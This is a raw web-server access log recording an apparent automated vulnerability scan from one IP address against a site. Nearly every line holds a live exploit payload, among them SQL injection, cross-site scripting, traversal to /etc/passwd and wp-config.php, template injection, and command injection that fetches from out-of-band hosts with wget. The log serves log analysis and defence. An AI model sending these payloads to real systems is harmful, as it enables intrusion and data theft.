[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=vtprd_product_search_ajax&term=aaa%27+union+select+1,sleep(6),3--+- HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=rsvp-admin-export HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=memberhero_send_form&_memberhero_hook=phpinfo HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?rest_route=/olistener/new HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=wpt_admin_update_notice_option HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/jobsearch/?search_title=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28domain%29%3E&ajax_filter=true&posted=all&sort-by=recent HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /revive/www/delivery/lg.php?dest=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mgmt/tm/util/bash HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/admin-word-count-column/download-csv.php?path=../../../../../../../../../../../../etc/passwd\\0 HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1&class=%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resumes/?s=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927374045 HTTP/1.1" -
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=woot_get_smth&what={%22call_action%22:%22x%22,%22more_data%22:%22\\u003cscript%3Ealert(document.domain)\\u003c/script%3E%22} HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=tout HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/WBSGanttManageScheduleJobAction.jspa; HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/metform/v1/forms/templates/0 HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/rsvpmaker/v1/stripesuccess/anythinghere HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/get-organizations?p=123&pageSize=123&value=cfx&sortField&sortOrder&field=updatexml(1,version(),1) HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/wp/v2/asked-question HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380CxxuxWYoncRNv9XPxjdFThW4.txt HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "HEAD /wp-login.php HTTP/1.1" -
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_ignition/execute-solution HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backend/backend/auth/signin HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=cdi_collect_follow&trk=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /archive/download?file=file:///etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/site-offline/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/documentor-lite/core/js/documentor.js HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /apisix/batch-requests HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api.php HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /OA_HTML/BneViewerXMLService?bne:uueupload=TRUE HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zabbix/setup.php HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=dprv_log_event&message=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /aj.html?a=devi HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/logout?next=https%3A%2F%2Finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/blade-user/user-list HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/vr-calendar-sync/assets/js/public.js HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/module?type=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&live_edit=true&from_url=test HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/plugins/alertlist/../../../../../conf/defaults.ini HTTP/1.1" 226
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/infographic-and-list-builder-ilist/assets/js/ilist_custom_admin.js HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/Pan/ShareUrl/downloadSharedFile?true_path=../../../../../../windows/win.ini&file_name=win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/arprice-responsive-pricing-table/js/arprice.js HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Runtime/Data/ms_admin.php HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/login HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/am-member/license HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?return_url=javascript:alert(document.domain) HTTP/1.1" 3426
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /catalog-portal/ui/oauth/verify?error&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29%7d HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /custom/%3Cimg%20src=x%20onerror=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/simple-membership/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET .//WEB-INF/weblogic.xml HTTP/1.1" 226
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "DELETE /images/icons_title.gif HTTP/1.1" 223
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/elFinder/elfinder.html HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /service/0/test.oast.me HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cms/content/list HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/bN48wr.txt HTTP/1.1" 199
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugin HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wiki/pages/createpage-entervariables.action HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/380Cy80CjWvULYG3fOAMws2XSFf.svg HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /functionRouter HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/search/attribute?versionid=*&tf_version=%27+and+(select%20pg_sleep(7))+ISNULL-- HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/feed-them-social/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /idp/profile/oidc/authorize?client_id=demo_rp&request_uri=https://d5g6sfahausljekepl209wj6rn756wm1x.oast.site HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ca/rest/certrequests HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?location=search HTTP/1.1" 3426
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /actuator/gateway/routes/380CxiNb8Gg5BnBjN0s7EyPILJO HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zabbix/index_sso.php HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?p=1&xsg-provider=data://text/html,<?php%20echo%20md5(\"CVE-2022-0346\");%20//&xsg-format=yyy&xsg-type=zz&xsg-page=pp HTTP/1.1" 3426
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/firmware?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=directorist_author_pagination HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iupjournals/index.php/esj HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wbm/login/?next=https%3A%2F%2Finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vcac/ HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www/delivery/lg.php?dest=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/appagebuilder/config.xml HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/ssa/v1/users HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /atmail/webmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /help/admin-guide/test.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resource/md/get/url?url=http://oast.pro HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/airflow/code?root&dag_id=example_passing_params_via_test_command HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /themes HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpmyadmin/setup/index.php?page=servers&mode=test&id=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error.php?SERVER_NAME=<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Main/Default.aspx?viewSurveyError=Unknown+survey\"><img%20src=x%20onerror=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/cab-fare-calculator/tblight.php?controller=../../../../../../../../../../../etc/passwd%00&action=1&ajax=1 HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/icinga/icinga-php-thirdparty/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.php HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cors_proxy/https://oast.me/ HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=nsp_search&what1=%27+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /geoserver/wms HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/nightled.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/touchlist_sync.cgi?IP=;wget+http://d5g6sfahausljekepl20bwqfng5rc5fz8.oast.site; HTTP/1.1" 199
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin.php?page=html2wp-settings HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=aux_the_recent_products&data[wp_query_args][post_type]=post&data[title]=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /module/?module=%27onm%3Ca%3Eouseover=alert(document.domain)%27%22tabindex=1&style=width:100%25;height:100%25;&id=x&data-show-ui=admin&class=x&from_url=https://trade.kingston.com.hk:443 HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=ptp_design4_color_columns&post_id=1&column_names=<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/options-general.php?page=cf7sr_edit&\"></script><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /contao/%22%3e%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/downloadFlile.cgi?payload=`ls>../380CxoWbGr9Wp8qiciul92xJTHZ` HTTP/1.1" 199
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/mesh.cgi?page=upgrade&key=;%27wget+http://d5g6sfahausljekepl2041tnqd8cf6c4i.oast.site;%27 HTTP/1.1" 199
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /proxy?url=http%3a//0:8080/ HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/rps_result/v1/route/student_fields HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /archive/download?file=http://d5g6sfahausljekepl20gb9wxkxgj48ek.oast.site/ HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /module/api.php?mobile/webNasIPS HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/woc-order-alert/assets/admin/js/scripts.js HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mgmt/tm/util/bash HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=wpda_gall_load_image_info&start=0&limit=1&gallery_current_index=<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=searchwp_live_search&swpquery=a&post_status=draft HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/ibeCAcpSSOReg.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/admin/public/default.html HTTP/1.1" 226
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /servlet/GetProductVersion HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/change_setting?second_value=no_reload&disable_sequence=true&value=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/380CxmiUNeeSGfHA1FcPlmv1UHz HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup.php HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.back%3Cimg%20src=x%20onerror=alert%28document.domain%29%3E HTTP/1.1" 199
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/register?next=https%3A%2F%2Finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /download/C%3a%2fwindows%2fsystem.ini HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp/wp-content/uploads/wpjobboard/ HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/uploads.php?id=1 HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SecurityGateway.dll?view=login&redirect=true&9OW4L7RSDY=1 HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=easync_success_and_save HTTP/1.1" 196
